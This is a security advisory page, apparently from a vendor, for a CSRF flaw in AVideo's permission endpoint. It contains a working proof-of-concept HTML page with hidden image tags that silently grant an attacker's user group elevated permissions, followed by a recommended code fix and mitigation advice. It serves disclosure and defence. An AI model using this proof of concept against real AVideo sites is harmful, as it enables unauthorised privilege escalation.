CVE-2026-33649 — wwbn/avideo
HIGHCVE-2026-33649 is a high-severity (CVSS 8.1) Cross-Site Request Forgery (CSRF) vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.
AVideo's GET-Based CSRF in setPermission.json.php Enables Privilege Escalation via Arbitrary Permission Modification
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33649.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33649 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The plugin/Permissions/setPermission.json.php endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets session.cookie_samesite=None on session cookies. This allows an unauthenticated attacker to craft a page with <img> tags that, when visited by an admin, silently grant arbitrary permissions to the attacker's user group — escalating the attacker to near-admin access.
Details
The root cause is a combination of three issues:
1. $_REQUEST used instead of $_POST (accepts GET parameters):
plugin/Permissions/setPermission.json.php:14-24:
$intvalList = array('users_groups_id','plugins_id','type','isEnabled');
foreach ($intvalList as $value) {
if($_REQUEST[$value]==='true'){
$_REQUEST[$value] = 1;
}else{
$_REQUEST[$value] = intval($_REQUEST[$value]);
}
}
$obj = new stdClass();
$obj->id = Permissions::setPermission($_REQUEST['users_groups_id'], $_REQUEST['plugins_id'], $_REQUEST['type'], $_REQUEST['isEnabled']);
The only authorization check is User::isAdmin() at line 10 — there is no CSRF token validation via isGlobalTokenValid().
2. Session cookies set to SameSite=None:
objects/include_config.php:134-141:
if ($isHTTPS) {
// SameSite=None is intentional: AVideo supports cross-origin iframe embedding
ini_set('session.cookie_samesite', 'None');
ini_set('session.cookie_secure', '1');
}
This means the admin's session cookie is sent on cross-origin requests, including those initiated by <img src="..."> tags on attacker-controlled pages.
3. The codebase's own security model requires CSRF tokens on state-mutating endpoints:
The comment at include_config.php:137-138 states: "All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)." Other endpoints like saveSort.json.php and pluginImport.json.php enforce isGlobalTokenValid(), but setPermission.json.php does not.
Execution flow:
- Attacker hosts a page containing
<img src="https://target/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true"> - Admin visits the page (e.g., via link in forum, email, or embedded content)
- Browser issues GET request with the admin's
SameSite=Nonesession cookie User::isAdmin()passes because the request carries the admin's sessionPermissions::setPermission()grants PERMISSION_FULLACCESSVIDEOS (type=10) to user group 2- Any user in group 2 (including the attacker) now has full video admin access
The users_groups_id values are small sequential integers (typically 1-3 for default groups) and can be trivially enumerated.
PoC
Step 1: Attacker creates a page granting multiple permissions to their user group (ID 2):
<!DOCTYPE html>
<html>
<head><title>Interesting Video</title></head>
<body>
<h1>Check out this video!</h1>
<!-- Each img tag silently fires a GET request with admin's session cookie -->
<!-- PERMISSION_FULLACCESSVIDEOS (type=10) -->
<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true' style='display:none'>
<!-- PERMISSION_USERS (type=20) -->
<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=20&isEnabled=true' style='display:none'>
<!-- PERMISSION_CAN_UPLOAD_VIDEOS (type=70) -->
<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=70&isEnabled=true' style='display:none'>
<!-- PERMISSION_CAN_LIVESTREAM (type=80) -->
<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=80&isEnabled=true' style='display:none'>
</body>
</html>
Step 2: Attacker sends the link to an admin (social engineering, forum post, etc.)
Step 3: When the admin loads the page, all four <img> tags fire simultaneously.
Expected response for each request (visible in browser dev tools):
{"id":"1"}
Step 4: Verify — the attacker (a regular user in group 2) now has full video management, user management, upload, and livestream permissions without being an admin.
Impact
- Privilege escalation: A low-privileged user can gain near-admin permissions (full video access, user management, upload, livestream) by tricking an admin into loading a single page.
- No JavaScript required: The attack uses only
<img>tags, bypassing Content Security Policy restrictions and working even in contexts where scripts are blocked (email clients, forum BBCode, etc.). - Zero interaction beyond page load: Unlike POST-based CSRF that requires form submission or JavaScript, this fires automatically when the page renders.
- Chaining: Multiple permissions can be granted simultaneously by embedding multiple
<img>tags. An attacker can grant their group all available permission types in a single page load. - Blast radius: All users in the targeted group receive the escalated permissions, not just the attacker.
Recommended Fix
In plugin/Permissions/setPermission.json.php, change $_REQUEST to $_POST and add CSRF token validation:
<?php
header('Content-Type: application/json');
if (!isset($global['systemRootPath'])) {
$configFile = '../../videos/configuration.php';
if (file_exists($configFile)) {
require_once $configFile;
}
}
if(!User::isAdmin()){
forbiddenPage("Not admin");
}
// Enforce POST method and CSRF token
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
die(json_encode(array('error' => 'POST method required')));
}
if (!isGlobalTokenValid()) {
die(json_encode(array('error' => 'Invalid CSRF token')));
}
$intvalList = array('users_groups_id','plugins_id','type','isEnabled');
foreach ($intvalList as $value) {
if($_POST[$value]==='true'){
$_POST[$value] = 1;
}else{
$_POST[$value] = intval($_POST[$value]);
}
}
$obj = new stdClass();
$obj->id = Permissions::setPermission($_POST['users_groups_id'], $_POST['plugins_id'], $_POST['type'], $_POST['isEnabled']);
die(json_encode($obj));
The AJAX call in getPermissionsFromPlugin.html.php:84-92 already uses type: 'post' but must also send the globalToken parameter in its data payload.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for CVE-2026-33649 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33649 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33649. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-33649 in your dependencies?
O3 Security finds CVE-2026-33649 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.